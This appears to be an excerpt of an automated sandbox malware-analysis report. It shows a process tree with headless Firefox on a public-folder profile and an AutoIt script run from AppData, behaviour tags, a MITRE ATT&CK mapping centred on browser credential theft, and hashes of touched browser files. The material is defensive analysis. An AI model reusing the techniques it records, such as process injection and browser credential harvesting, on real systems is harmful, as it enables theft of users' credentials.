    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,2851896905974873580,11128281815494690418,262144 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:2
    3⤵
    PID:856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1932,i,18010586841503306280,11902759817585311081,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2584,i,1754622720460760269,6377969803949699414,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:8
    3⤵
    PID:3552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3424,i,1011057262210518928,8264990885921541059,2097152 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
    3⤵
    PID:4668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3428,i,8519878192969044339,9846224202047534646,2097152 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
    3⤵
    PID:3896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4204,i,12008459234189021975,824294290461701318,2097152 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:1
    3⤵
    PID:1512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,16245667724712958216,12540125024302943192,2097152 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:2
    3⤵
    PID:5052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5056,i,18032151364500240215,3830917776112728221,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:8
    3⤵
    PID:5660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,17377174527114509324,4122987358562001781,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:8
    3⤵
    PID:6116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,8502129156807062384,15901707735098516732,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:8
    3⤵
    PID:5528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,1244859276722740741,373020953668704012,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    PID:5540
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,3893769957300791720,17501450890442375781,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:8
    3⤵
    PID:5312
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,3893769957300791720,17501450890442375781,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:8
    3⤵
    PID:5388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5004,i,6077897507018012374,15251901512598574916,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:8
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,13577699246135873932,7348541824512772808,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:8
    3⤵
    PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,3099475358798627966,11864139046228385642,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:8
    3⤵
    PID:2808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6664,i,11718141676532983658,7908124804582768417,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:8
    3⤵
    PID:5024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,14301680316196111186,5886347169645563445,524288 --field-trial-handle=2260,i,6725679082561856169,4429802163147886315,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:8
    3⤵
    PID:5096
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:5664
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2752 -prefsLen 24447 -prefMapHandle 2756 -prefMapSize 268500 -ipcHandle 2820 -initialChannelId {f1fcff3f-8bb1-4957-aabe-73ed7e1209ec} -parentPid 5664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:2144
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3548 -prefsLen 24658 -prefMapHandle 3552 -prefMapSize 268500 -jsInitHandle 3556 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3564 -initialChannelId {19d98ff1-b2b9-4434-a1eb-2ed5f316a77d} -parentPid 5664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:5324
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1720 -prefsLen 25544 -prefMapHandle 1724 -prefMapSize 268500 -ipcHandle 3700 -initialChannelId {d9a72ba7-127f-4eec-a0fd-31336b162b4c} -parentPid 5664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:1944
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4072 -prefsLen 25606 -prefMapHandle 4076 -prefMapSize 268500 -jsInitHandle 4080 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4088 -initialChannelId {e16dc748-2bc6-483c-a415-26c910f6ff03} -parentPid 5664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:5580
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4912 -prefsLen 36293 -prefMapHandle 1864 -prefMapSize 268500 -ipcHandle 4952 -initialChannelId {c4afaa25-0620-4225-aa88-993f37077883} -parentPid 5664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:5052

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2120

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4972

C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1780

C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\fb2ea36e4f97\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 07a30faf5b287314dc2636672e6d4e53da9ea7a1c4c68a3f9dfe5df0b28fb0ce
MD5 fc18cbb8dabea372e95bff7a95d2219f
SHA1 f73bb5fa6df93ad14c3e48c459d125b499b9942f
SHA512 04ecea97e813cfcedb43747c8cd4e326143788224340b6086efda0a0df32c4fe5fdb330dbd48349337861c0bee4ab7c7f09bbe5fff9ebe0f4943832916bb0a1c
TLSH
T187F02DB9CD21AC7718FD072920A50B87F750136B2741469B373D991C8FF563B455685C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 d800fbc5dc04e91b2707cb556d515d59c5916e8a809c774d73f42206517a450d
MD5 cf997b9ceba6aa77d80872a8d6127b60
SHA1 b0c707d52622d52dcc65c3070ba6ae822e0be2a1
SHA512 d0a6bf404e1f5ade77fb4037d776179ea7d8d4f3a5751b75a7e4d02d2b846412b2e089c14bece59b5990bf0696297549116e1d77d17799ce74d8005f159a23fc
SSDEEP 192:5RyKw89dv7UpAPRp2v9/Hsb+WNnLw0Gueem2mYVyIsnAUgtaJ:5RyKzdAUXchwM01C298
TLSH
T1E732832DAE10B53B5CDBC21AF9227B57D7F5102664942E84EAFC8E7C29D76CC221B407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 cbff59adc7b520f0de2985ad921ee12da5b00aa0aaadd64b2862a8b11ece7f19
MD5 8620b09f169758aa6d92f2e7b8a4c29c
SHA1 c265bb3d46a3af238c08a66240583a655be69a0e
SHA512 017bb2738ebc633e2b1824b1fe90215df48c3e3ec2d222610a597c250ca9b406bd8560dd6e15c6ddcea319cc301407ec464c4569fc29dfb4f74923aa99fdceb8
SSDEEP 384:s2jGN7KxkXqKf/pUZNCgVLH2Hfgsl1/XODGN+ErU3pxHG4xHk4V4:s2GN7KxkXqKf/pUZNCgVLH2HfgszvO61
TLSH
T1C4520A27A88C9A3F0FD8C54DD8177F4FADF101566268492452FB9C1903A5BDB114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 264KB
SHA256 8f1baca8b70fdfce82b20f6b617a6c78b1594096e2ddac265fe43880533a1b25
MD5 5aa6050d275d93c3c1bb128caa3cd3e2
SHA1 e1ac75e6258624b65c28f8a472c5e4bb6e6b2846
SHA512 ca00e0b04b8346945ffcbf5ead7eff492f526a41365369f349e9362a13a0e72aef6b28f44e79ce1ac80128d078c1648c814e8f5d2a2e80dc113edbfd85ab0a45
SSDEEP 6144:tNqRXhJwKP9gW090kPm295P7IQolZuG+hFD+7t56OD9ZfSAppr6:tUf9gZJ+2nP7/8ZuGyFSXD9ZfS40
TLSH
T13744231B9DF4DCA7DABDA800312B8700EE5514FE48DD3A4A8587BE4F956F48E07A3913
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 7444b373145e9e8422d7b1b56acd063b8758f73b3a0c96f25a895c80b7db96a2
MD5 aa18dddc532b56fbdb4a19f32c2e8729
SHA1 1ccbd8ded4b0dcc1914069e639770b5367615970
SHA512 3a56958b5efd2cb138ce222b7fdc83245e8ec9b02845c276bfa56519e99dea43792c61a3637b28ae2b986cde93165a003b446b90056406b14c1415f138f5828e
SSDEEP 3072:xnv+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gE:dv+hFD+7t56OD9ZfSApprE
TLSH
T17AD31232AA95D8BBC9FC6541B157A300DE766CED41DE2A09444A9F8EE09FC4C0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
MD5 223bd4ae02766ddc32e6145fd1a29301
SHA1 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA512 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
TLSH
T10A610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 93c2ca3ce74eca17f27aa90cc3323bb8d6aea5c365862a01a512ce14b9f825b4
MD5 e8a3239e6b22580d77fb537c7bea1fab
SHA1 a99ffe9234c27e560f1c607d3b6c6507928368a3
SHA512 17b0e6f99943a02540148a685b91c62eafca3ef65d9a628bfb59d3b69a93b27c7d3ac42bdc808c52b5b1eac9bf4466a1099df17cd3f5df0bbd5b5282ca8b904e
TLSH
T170D0247133D03CCFD7000433015043751C0540F300F5D3104C30D04C07CD055C143440
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 928eda824fe964cd23927cf06086d7d24e20a3a5092daf1acee5b632c76c962a
MD5 4ac43ee6512ba8635b7ba6bd015c291b
SHA1 5f9e2474b00ec0e2a9472c049fbea550e26309aa
SHA512 e5ebf9e92458f66e31e080121135313e828b8ebade0bc0e085221ae0d4f5afe0d2035c566590cbfb5902d96f17befe7b24310b4fb9e647b999113175af800ebc
TLSH
T17BD022B2B3A038CFE300083302A083BA2C0A80F300FAE2208C30E08C0BCC02AC283880
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 11d37de99c7ab6244921d2df9d394a188cb52d1bf27bd912f772d37be6468325
MD5 a04ac55b761b22e2fda3e51af3119432
SHA1 8968b39f6821a87e66de032d1c066faf89f20d66
SHA512 95c819f99b690b0f92ad36cfcf10cbb3f8997373babf556bee442a18542d2fa56612ef8b8f601b3919e96ecbcbe48fbf3ba8ece3783fd0da6c938879a0ab862f
SSDEEP 192:sxZHRaTai/f3svttQblbdpmzHW6+WNBj4/Y36bc+VIg4J:sxZHzi/f3svfoXIHb+/XAmc
TLSH
T1FF32D91E6E28547B8CCBD219BA25BF53E6FD107394945E58E6FC861C08F66DD230780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 60c7a41fe067ab43a07b6cb8894acb20abf01a3084048b6a0e9e1fc014060438
MD5 20683b219fb914a3b41babf9009f2a1d
SHA1 5d459548216b4a467f96fcad34fadfd741497d92
SHA512 e4897ad4dbdbcfa3297b52e0932ff7106dd572f33ebc52fd478a75a8961e1d89b15dfe7d4157d560cc3ed9aa5fe77a795c90f6eee4ff891c0884d88a1d2c2dc6
SSDEEP 768:BNKlm+QWvUYe08F1+UoAYDCx9Tuqh0VfUC9xbog/OVLA8/LlpPs/qrocRW+:BNKlm+QWvUYe0u1jaeA8/L/E/BcRb
TLSH
T115D2E93B640CCB7E4FC04A9DDC5A6F9B6EA802D7A6588D4047FA984C02C77EA51274DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8cb62016-7ab1-4b68-9f75-0b250262aa2a\index-dir\the-real-index
Size 168B
SHA256 d579db2eedd84dee8ace2e007349a017be7204002d0dbed874c967a365bf594a
MD5 016bd141804e55d0a06ddf942cff7014
SHA1 361ba2dec8f68322d43151b1d3814ac4e9bf9b3d
SHA512 b8e63bf8d4913fcf67a1eb40724c9e8ff1f1d32333e0c42ca8292ed46757d3c9c5abc2279f12eb841fb76d01d180e2aabeea5f84b862b90b4debcdaeb717b72f
TLSH
T195C02220CEA0A082F8F8CBB008BF0030AE2028FC0028020200ECE008CC822E0F808238
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5991a7.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8cb62016-7ab1-4b68-9f75-0b250262aa2a\index-dir\the-real-index~RFe5991a7.TMP
Size 168B
SHA256 3329b26207f6588e8bd53e4e1e72cb145f536627851bbc40b6a74c4dc849577c
MD5 37a9e70f2482e798191dd0c7d7570f1b
SHA1 1d56e93cc263efda7741b0eaa6201b8fca7b1c39
SHA512 c42cf472361fbc4359a4941256afe0a947dd005be0331c90943520af3b12f7ae36a2b4db2cacd083f7f17dcb3716130b162880972178aba426f2cd9ad4540db0
TLSH
T1CDC01264CEA66685F4B987B59CFF11762D206C3CE42457BB40FEE048DD13BA4DE45310
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 793B
SHA256 4a39f9f88e2355cad821bab70574d8f4c39e46c8ef9a9183c4ece0fbf90ee4c1
MD5 15ddbae01abc511a53a315fdb58d7a25
SHA1 94e6419d2c4c536f0d4137f5a01d521a168a2a14
SHA512 10c207f76b76450c3aae00d80382c1ff7a03baa0c657318f01e44161cd7cded93998fc43a33165e94c2622bdaf92d22707eb0e63854b324802aedf847bb09e50
TLSH
T166014A12B0BF25103E7D750490D7B61BD3C131613594EA2ABBEA40DA0E16A9949F85CD
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 6e41aba4067f7475bad9fac205982cfeba67be3a2757616fd9317a4c877f40f9
MD5 61658667bd9c92ad8e8c55a1c55bd2e4
SHA1 2dca4d9c1278259935375fbcabef6681af2f5c78
SHA512 d6afe8ae0a2f53e710ad6dadf4c4992de94cba31a6371922ae46ae64777e670ae599fe1f277236054f843019fdb96fe23bebec6328f103cbbc6abd4a0e39d316
